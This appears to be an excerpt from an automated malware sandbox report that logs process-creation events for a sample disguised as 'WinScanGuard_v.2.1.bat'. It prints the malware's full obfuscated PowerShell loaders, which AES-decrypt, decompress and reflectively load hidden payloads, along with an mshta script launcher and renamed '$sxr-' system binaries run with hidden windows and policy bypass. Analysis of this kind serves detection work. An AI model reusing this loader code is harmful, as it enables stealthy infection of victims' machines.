Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe "winscanguard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function olsgt($qhqwz){ $fhdgh=[system.security.cryptography.aes]::create(); $fhdgh.mode=[system.security.cryptography.ciphermode]::cbc; $fhdgh.padding=[system.security.cryptography.paddingmode]::pkcs7; $fhdgh.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('onjsi5fjjzv4aoembvugvr4ituuvmgvnrnjejyrp0wq='); $fhdgh.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('clqnywl0vsdfd4x+5ykrxq=='); $spflb=$fhdgh.createdecryptor(); $return_var=$spflb.transformfinalblock($qhqwz, 0, $qhqwz.length); $spflb.dispose(); $fhdgh.dispose(); $return_var;}function rnhms($qhqwz){ $wxvgk=new-object system.io.memorystream(,$qhqwz); $bpcbe=new-object system.io.memorystream; $couvu=new-object system.io.compression.gzipstream($wxvgk, [io.compression.compressionmode]::decompress); $couvu.copyto($bpcbe); $couvu.dispose(); $wxvgk.dispose(); $bpcbe.dispose(); $bpcbe.toarray();}function zatie($qhqwz,$cjuqy){ $ospmd=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$qhqwz); $xwtdt=$ospmd.entrypoint; $xwtdt.invoke($null, $cjuqy);}$ylwdr=[system.io.file]::('txetlladaer'[-1..-11] -join '')('c:\users\user\desktop\winscanguard_v.2.1.bat').split([environment]::newline);foreach ($xuiqg in $ylwdr) { if ($xuiqg.startswith('seroxen')) { $sogsv=$xuiqg.substring(7); break; }}$zermu=[string[]]$sogsv.split('\');$tzgbc=rnhms (olsgt ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($zermu[0])));$ttdxt=rnhms (olsgt ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($zermu[1])));zatie $ttdxt (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));zatie $tzgbc (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));
Source: unknown	Process created: C:\Windows\$sxr-mshta.exe c:\windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'vb'+'sc'+'ri'+'pt'+'\x22>'+'se'+'t\x20'+'ob'+'js'+'he'+'ll'+'\x20='+'\x20c'+'re'+'at'+'eo'+'bj'+'ec'+'t('+'\x22w'+'sc'+'ri'+'pt'+'.s'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'sh'+'el'+'l.'+'ru'+'n\x20'+'\x22c:\\windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-bwtljbkboghiyuerhoar4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe c:\windows\$sxr-powershell.exe -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command function zxowg($ygfcs){ $hjbvm=[system.security.cryptography.aes]::create(); $hjbvm.mode=[system.security.cryptography.ciphermode]::cbc; $hjbvm.padding=[system.security.cryptography.paddingmode]::pkcs7; $hjbvm.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc='); $hjbvm.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w=='); $shnyr=$hjbvm.('rotpyrcedetaerc'[-1..-15] -join '')(); $ptorz=$shnyr.('kcolblanifmrofsnart'[-1..-19] -join '')($ygfcs, 0, $ygfcs.length); $shnyr.dispose(); $hjbvm.dispose(); $ptorz;}function miajr($ygfcs){ $vhzij=new-object system.io.memorystream(,$ygfcs); $mkycr=new-object system.io.memorystream; $pphyy=new-object system.io.compression.gzipstream($vhzij, [io.compression.compressionmode]::decompress); $pphyy.copyto($mkycr); $pphyy.dispose(); $vhzij.dispose(); $mkycr.dispose(); $mkycr.toarray();}function dettm($ygfcs,$ztwie){ $mzolj=[system.reflection.assembly]::load([byte[]]$ygfcs); $lofyp=$mzolj.entrypoint; $lofyp.invoke($null, $ztwie);}$hjbvm1 = new-object system.security.cryptography.aesmanaged;$hjbvm1.mode = [system.security.cryptography.ciphermode]::cbc;$hjbvm1.padding = [system.security.cryptography.paddingmode]::pkcs7;$hjbvm1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc=');$hjbvm1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w==');$ghtel = $hjbvm1.('rotpyrcedetaerc'[-1..-15] -join '')();$tsruf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('/drqfgtkhdxyibtyp3tlyq==');$tsruf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tsruf, 0, $tsruf.length);$tsruf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tsruf);$tbgvf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('uyheuy/+hnwqeclfyb1fduqtqym+nhvdwwfjekkh6lu=');$tbgvf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tbgvf, 0, $tbgvf.length);$tbgvf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tbgvf);$mjwsq = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('v2s4nwnxvxtvxwhesswniq==');$mjwsq = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($mjwsq, 0, $mjwsq.length);$mjwsq = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($mjwsq);$ibfkh = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rzns/opkxzu99whpuauc1mhvovucskwdcrfz1flzhkq9vipchxwbsxtn8ebodaixzcvikg7knsnjqfjixs10dgpnp1rgmfss0ufgfy1hhpebrscxylrfwuglvdikxksncnlet01zqtp7t1afzszuifryhdaonnd/a48fsobov6s0dg4uz6it5eohk560k0okdqhofxejn4remuw/qa+ofghhvk0nkszmziwificol824a/ijhuaivvnxisy3kfqxbk9sxrwii48yb3r5ehdu2sfoodwj4/p9sudfwqjtgeixdzh4kvsxjz0xve4zypd+he6+n8ebmzvscb8hkun/+dzmxufdtfwwv5marcy6zdmo2yj4s2sbozzspvxkuwpa7yffsyhuzq4rpk9yysf5mqw
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "c:\windows\$sxr-powershell.exe" -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command [system.diagnostics.process]::getprocessbyid(5088).waitforexit();[system.threading.thread]::sleep(5000); function zxowg($ygfcs){ $hjbvm=[system.security.cryptography.aes]::create(); $hjbvm.mode=[system.security.cryptography.ciphermode]::cbc; $hjbvm.padding=[system.security.cryptography.paddingmode]::pkcs7; $hjbvm.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc='); $hjbvm.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w=='); $shnyr=$hjbvm.('rotpyrcedetaerc'[-1..-15] -join '')(); $ptorz=$shnyr.('kcolblanifmrofsnart'[-1..-19] -join '')($ygfcs, 0, $ygfcs.length); $shnyr.dispose(); $hjbvm.dispose(); $ptorz;}function miajr($ygfcs){ $vhzij=new-object system.io.memorystream(,$ygfcs); $mkycr=new-object system.io.memorystream; $pphyy=new-object system.io.compression.gzipstream($vhzij, [io.compression.compressionmode]::decompress); $pphyy.copyto($mkycr); $pphyy.dispose(); $vhzij.dispose(); $mkycr.dispose(); $mkycr.toarray();}function dettm($ygfcs,$ztwie){ $mzolj=[system.reflection.assembly]::load([byte[]]$ygfcs); $lofyp=$mzolj.entrypoint; $lofyp.invoke($null, $ztwie);}$hjbvm1 = new-object system.security.cryptography.aesmanaged;$hjbvm1.mode = [system.security.cryptography.ciphermode]::cbc;$hjbvm1.padding = [system.security.cryptography.paddingmode]::pkcs7;$hjbvm1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc=');$hjbvm1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w==');$ghtel = $hjbvm1.('rotpyrcedetaerc'[-1..-15] -join '')();$tsruf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('/drqfgtkhdxyibtyp3tlyq==');$tsruf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tsruf, 0, $tsruf.length);$tsruf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tsruf);$tbgvf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('uyheuy/+hnwqeclfyb1fduqtqym+nhvdwwfjekkh6lu=');$tbgvf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tbgvf, 0, $tbgvf.length);$tbgvf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tbgvf);$mjwsq = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('v2s4nwnxvxtvxwhesswniq==');$mjwsq = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($mjwsq, 0, $mjwsq.length);$mjwsq = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($mjwsq);$ibfkh = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rzns/opkxzu99whpuauc1mhvovucskwdcrfz1flzhkq9vipchxwbsxtn8ebodaixzcvikg7knsnjqfjixs10dgpnp1rgmfss0ufgfy1hhpebrscxylrfwuglvdikxksncnlet01zqtp7t1afzszuifryhdaonnd/a48fsobov6s0dg4uz6it5eohk560k0okdqhofxejn4remuw/qa+ofghhvk0nkszmziwificol824a/ijhuaivvnxisy3kfqxbk9sxrwii48yb3r5ehdu2sfoodwj4/p9sudfwqjtgeixd
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe "winscanguard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function olsgt($qhqwz){ $fhdgh=[system.security.cryptography.aes]::create(); $fhdgh.mode=[system.security.cryptography.ciphermode]::cbc; $fhdgh.padding=[system.security.cryptography.paddingmode]::pkcs7; $fhdgh.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('onjsi5fjjzv4aoembvugvr4ituuvmgvnrnjejyrp0wq='); $fhdgh.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('clqnywl0vsdfd4x+5ykrxq=='); $spflb=$fhdgh.createdecryptor(); $return_var=$spflb.transformfinalblock($qhqwz, 0, $qhqwz.length); $spflb.dispose(); $fhdgh.dispose(); $return_var;}function rnhms($qhqwz){ $wxvgk=new-object system.io.memorystream(,$qhqwz); $bpcbe=new-object system.io.memorystream; $couvu=new-object system.io.compression.gzipstream($wxvgk, [io.compression.compressionmode]::decompress); $couvu.copyto($bpcbe); $couvu.dispose(); $wxvgk.dispose(); $bpcbe.dispose(); $bpcbe.toarray();}function zatie($qhqwz,$cjuqy){ $ospmd=[system.reflection.assembly]::('daol'[-1..-4] -join '')([byte[]]$qhqwz); $xwtdt=$ospmd.entrypoint; $xwtdt.invoke($null, $cjuqy);}$ylwdr=[system.io.file]::('txetlladaer'[-1..-11] -join '')('c:\users\user\desktop\winscanguard_v.2.1.bat').split([environment]::newline);foreach ($xuiqg in $ylwdr) { if ($xuiqg.startswith('seroxen')) { $sogsv=$xuiqg.substring(7); break; }}$zermu=[string[]]$sogsv.split('\');$tzgbc=rnhms (olsgt ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($zermu[0])));$ttdxt=rnhms (olsgt ([convert]::('gnirts46esabmorf'[-1..-16] -join '')($zermu[1])));zatie $ttdxt (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));zatie $tzgbc (,[string[]] ('', 'idtznccsreqaeejvuwzutuitglivmfheulstnnuhslwymmxaqk', 'lkizmjcsatthedeyossawnzmofyqejpcytnoxqiuoblpdohijn'));	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe c:\windows\$sxr-powershell.exe -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command function zxowg($ygfcs){ $hjbvm=[system.security.cryptography.aes]::create(); $hjbvm.mode=[system.security.cryptography.ciphermode]::cbc; $hjbvm.padding=[system.security.cryptography.paddingmode]::pkcs7; $hjbvm.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc='); $hjbvm.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w=='); $shnyr=$hjbvm.('rotpyrcedetaerc'[-1..-15] -join '')(); $ptorz=$shnyr.('kcolblanifmrofsnart'[-1..-19] -join '')($ygfcs, 0, $ygfcs.length); $shnyr.dispose(); $hjbvm.dispose(); $ptorz;}function miajr($ygfcs){ $vhzij=new-object system.io.memorystream(,$ygfcs); $mkycr=new-object system.io.memorystream; $pphyy=new-object system.io.compression.gzipstream($vhzij, [io.compression.compressionmode]::decompress); $pphyy.copyto($mkycr); $pphyy.dispose(); $vhzij.dispose(); $mkycr.dispose(); $mkycr.toarray();}function dettm($ygfcs,$ztwie){ $mzolj=[system.reflection.assembly]::load([byte[]]$ygfcs); $lofyp=$mzolj.entrypoint; $lofyp.invoke($null, $ztwie);}$hjbvm1 = new-object system.security.cryptography.aesmanaged;$hjbvm1.mode = [system.security.cryptography.ciphermode]::cbc;$hjbvm1.padding = [system.security.cryptography.paddingmode]::pkcs7;$hjbvm1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc=');$hjbvm1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w==');$ghtel = $hjbvm1.('rotpyrcedetaerc'[-1..-15] -join '')();$tsruf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('/drqfgtkhdxyibtyp3tlyq==');$tsruf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tsruf, 0, $tsruf.length);$tsruf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tsruf);$tbgvf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('uyheuy/+hnwqeclfyb1fduqtqym+nhvdwwfjekkh6lu=');$tbgvf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tbgvf, 0, $tbgvf.length);$tbgvf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tbgvf);$mjwsq = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('v2s4nwnxvxtvxwhesswniq==');$mjwsq = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($mjwsq, 0, $mjwsq.length);$mjwsq = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($mjwsq);$ibfkh = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rzns/opkxzu99whpuauc1mhvovucskwdcrfz1flzhkq9vipchxwbsxtn8ebodaixzcvikg7knsnjqfjixs10dgpnp1rgmfss0ufgfy1hhpebrscxylrfwuglvdikxksncnlet01zqtp7t1afzszuifryhdaonnd/a48fsobov6s0dg4uz6it5eohk560k0okdqhofxejn4remuw/qa+ofghhvk0nkszmziwificol824a/ijhuaivvnxisy3kfqxbk9sxrwii48yb3r5ehdu2sfoodwj4/p9sudfwqjtgeixdzh4kvsxjz0xve4zypd+he6+n8ebmzvscb8hkun/+dzmxufdtfwwv5marcy6zdmo2yj4s2sbozzspvxkuwpa7yffsyhuzq4rpk9yysf5mqw	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "c:\windows\$sxr-powershell.exe" -nologo -noprofile -noninteractive -windowstyle hidden -executionpolicy bypass -command [system.diagnostics.process]::getprocessbyid(5088).waitforexit();[system.threading.thread]::sleep(5000); function zxowg($ygfcs){ $hjbvm=[system.security.cryptography.aes]::create(); $hjbvm.mode=[system.security.cryptography.ciphermode]::cbc; $hjbvm.padding=[system.security.cryptography.paddingmode]::pkcs7; $hjbvm.key=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc='); $hjbvm.iv=[system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w=='); $shnyr=$hjbvm.('rotpyrcedetaerc'[-1..-15] -join '')(); $ptorz=$shnyr.('kcolblanifmrofsnart'[-1..-19] -join '')($ygfcs, 0, $ygfcs.length); $shnyr.dispose(); $hjbvm.dispose(); $ptorz;}function miajr($ygfcs){ $vhzij=new-object system.io.memorystream(,$ygfcs); $mkycr=new-object system.io.memorystream; $pphyy=new-object system.io.compression.gzipstream($vhzij, [io.compression.compressionmode]::decompress); $pphyy.copyto($mkycr); $pphyy.dispose(); $vhzij.dispose(); $mkycr.dispose(); $mkycr.toarray();}function dettm($ygfcs,$ztwie){ $mzolj=[system.reflection.assembly]::load([byte[]]$ygfcs); $lofyp=$mzolj.entrypoint; $lofyp.invoke($null, $ztwie);}$hjbvm1 = new-object system.security.cryptography.aesmanaged;$hjbvm1.mode = [system.security.cryptography.ciphermode]::cbc;$hjbvm1.padding = [system.security.cryptography.paddingmode]::pkcs7;$hjbvm1.key = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('jr/er/s13sxmxzdcdq4cx+zlfjubr/t1zoygzlvi3nc=');$hjbvm1.iv = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rigepzaiqqvktp3vmkz42w==');$ghtel = $hjbvm1.('rotpyrcedetaerc'[-1..-15] -join '')();$tsruf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('/drqfgtkhdxyibtyp3tlyq==');$tsruf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tsruf, 0, $tsruf.length);$tsruf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tsruf);$tbgvf = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('uyheuy/+hnwqeclfyb1fduqtqym+nhvdwwfjekkh6lu=');$tbgvf = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($tbgvf, 0, $tbgvf.length);$tbgvf = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($tbgvf);$mjwsq = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('v2s4nwnxvxtvxwhesswniq==');$mjwsq = $ghtel.('kcolblanifmrofsnart'[-1..-19] -join '')($mjwsq, 0, $mjwsq.length);$mjwsq = [system.text.encoding]::('8ftu'[-1..-4] -join '').('gnirtsteg'[-1..-9] -join '')($mjwsq);$ibfkh = [system.convert]::('gnirts46esabmorf'[-1..-16] -join '')('rzns/opkxzu99whpuauc1mhvovucskwdcrfz1flzhkq9vipchxwbsxtn8ebodaixzcvikg7knsnjqfjixs10dgpnp1rgmfss0ufgfy1hhpebrscxylrfwuglvdikxksncnlet01zqtp7t1afzszuifryhdaonnd/a48fsobov6s0dg4uz6it5eohk560k0okdqhofxejn4remuw/qa+ofghhvk0nkszmziwificol824a/ijhuaivvnxisy3kfqxbk9sxrwii48yb3r5ehdu2sfoodwj4/p9sudfwqjtgeixd	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe "WinScanGuard_v.2.1.bat.exe" -noprofile -windowstyle hidden -ep bypass -command function oLSgt($QHQwZ){ $FhDgh=[System.Security.Cryptography.Aes]::Create(); $FhDgh.Mode=[System.Security.Cryptography.CipherMode]::CBC; $FhDgh.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $FhDgh.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ONJSi5FjJzv4AOEMBvugvr4ituUVmgVNRnjeJyrP0WQ='); $FhDgh.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('CLQNYwl0vsdfD4X+5YKrxQ=='); $SpFlB=$FhDgh.CreateDecryptor(); $return_var=$SpFlB.TransformFinalBlock($QHQwZ, 0, $QHQwZ.Length); $SpFlB.Dispose(); $FhDgh.Dispose(); $return_var;}function rnHmS($QHQwZ){ $WxVgK=New-Object System.IO.MemoryStream(,$QHQwZ); $bpCBe=New-Object System.IO.MemoryStream; $coUVU=New-Object System.IO.Compression.GZipStream($WxVgK, [IO.Compression.CompressionMode]::Decompress); $coUVU.CopyTo($bpCBe); $coUVU.Dispose(); $WxVgK.Dispose(); $bpCBe.Dispose(); $bpCBe.ToArray();}function ZAtIe($QHQwZ,$cjUqy){ $oSPmD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$QHQwZ); $xWTDt=$oSPmD.EntryPoint; $xWTDt.Invoke($null, $cjUqy);}$YlWDR=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\user\Desktop\WinScanGuard_v.2.1.bat').Split([Environment]::NewLine);foreach ($XUIQg in $YlWDR) { if ($XUIQg.StartsWith('SEROXEN')) { $sOgSv=$XUIQg.Substring(7); break; }}$ZErMU=[string[]]$sOgSv.Split('\');$tzgBc=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[0])));$TtDxt=rnHmS (oLSgt ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($ZErMU[1])));ZAtIe $TtDxt (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));ZAtIe $tzgBc (,[string[]] ('', 'idTznCCsreqaEEjvuwzuTuitglIVMFHEuLsTnnuHsLwyMmxaqK', 'LkIzMJCsatThEdeYOSSAwnZMOfyqejPcYtnoxQiuObLPDohIJN'));	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{17980c38-011a-4e2a-a8da-a3b9e80db269}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{6ee5d1df-df32-414a-8053-43a03a04def5}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{b60ad232-6d40-4822-9220-52a4d3050cb3}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{603825cb-58d6-4ab4-99a0-2fdb5cd309d6}	Jump to behavior
Source: C:\Users\user\Desktop\WinScanGuard_v.2.1.bat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process created: C:\Windows\$sxr-cmd.exe "C:\Windows\$sxr-cmd.exe" /c %$sxr-bWTLJBKbogHiYUerhoAr4312:&#<?=%	Jump to behavior
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function ZXowG($YGfCS){ $HJBVM=[System.Security.Cryptography.Aes]::Create(); $HJBVM.Mode=[System.Security.Cryptography.CipherMode]::CBC; $HJBVM.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $HJBVM.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc='); $HJBVM.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w=='); $SHNYR=$HJBVM.('rotpyrceDetaerC'[-1..-15] -join '')(); $ptoRz=$SHNYR.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($YGfCS, 0, $YGfCS.Length); $SHNYR.Dispose(); $HJBVM.Dispose(); $ptoRz;}function MiajR($YGfCS){ $VHZiJ=New-Object System.IO.MemoryStream(,$YGfCS); $MKYCr=New-Object System.IO.MemoryStream; $pphYy=New-Object System.IO.Compression.GZipStream($VHZiJ, [IO.Compression.CompressionMode]::Decompress); $pphYy.CopyTo($MKYCr); $pphYy.Dispose(); $VHZiJ.Dispose(); $MKYCr.Dispose(); $MKYCr.ToArray();}function DEttm($YGfCS,$ZtwIE){ $mZolj=[System.Reflection.Assembly]::Load([byte[]]$YGfCS); $lOFyP=$mZolj.EntryPoint; $lOFyP.Invoke($null, $ZtwIE);}$HJBVM1 = New-Object System.Security.Cryptography.AesManaged;$HJBVM1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$HJBVM1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$HJBVM1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('jR/ER/S13sxmxzdcDQ4cx+zLfjuBr/t1zOyGZlvi3Nc=');$HJBVM1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RiGEPzaIqqVKtP3vMKz42w==');$GhtEl = $HJBVM1.('rotpyrceDetaerC'[-1..-15] -join '')();$tSRUF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/drqfgtKhdXyibTYP3tLyQ==');$tSRUF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tSRUF, 0, $tSRUF.Length);$tSRUF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tSRUF);$tbgVF = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uYhEUY/+HnwQeclFyB1FDUqtQym+nHVdwwfjEKKh6LU=');$tbgVF = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($tbgVF, 0, $tbgVF.Length);$tbgVF = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($tbgVF);$mjWsq = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('v2S4NwnXvXtvXwhesSwNIQ==');$mjWsq = $GhtEl.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($mjWsq, 0, $mjWsq.Length);$mjWsq = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($mjWsq);$iBFKh = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('RZnS/OPKxZu99whpuaUC1mhVovuCskWdCRfz1FlzhkQ9viPcHXWbSXtn8ebOdAixZCvIKg7kNsNJQfjixS10DgPnP1RgMFsS0Ufgfy1HhpeBrScxYLrFwuGlVdIKxKsNCNlET01ZQTP7t1afzsZuiFRyhdaoNNd/a48fSObOV6s0Dg4uz6IT5eoHk560k0oKDQhofXeJn4REmUW/Qa+OFgHhvk0nKSZmZIWIfiCOl824A/iJhUAIvvnXISy3KfqXbk9SxrWiI48yb3R5eHDU2SFOOdwj4/P9sUdFWqjTGEiXdZH4kVSXjz0XVe4ZYpD+he6+N8ebMZVScb8HKUN/+DzmXUfDtfwWV5MarCY6ZdmO2yJ4s2sbOzZsPvxKUwPa7yfFsYHuzQ4rPk9Yysf5MqW	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\System32\dllhost.exe C:\Windows\System32\dllhost.exe /Processid:{d814285b-904f-4c3a-8cab-4579f96b72d9}	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\SysWOW64\dllhost.exe C:\Windows\SysWOW64\dllhost.exe /Processid:{f835588e-a1ef-4d6b-bc1e-b44ddb22d787}	Jump to behavior
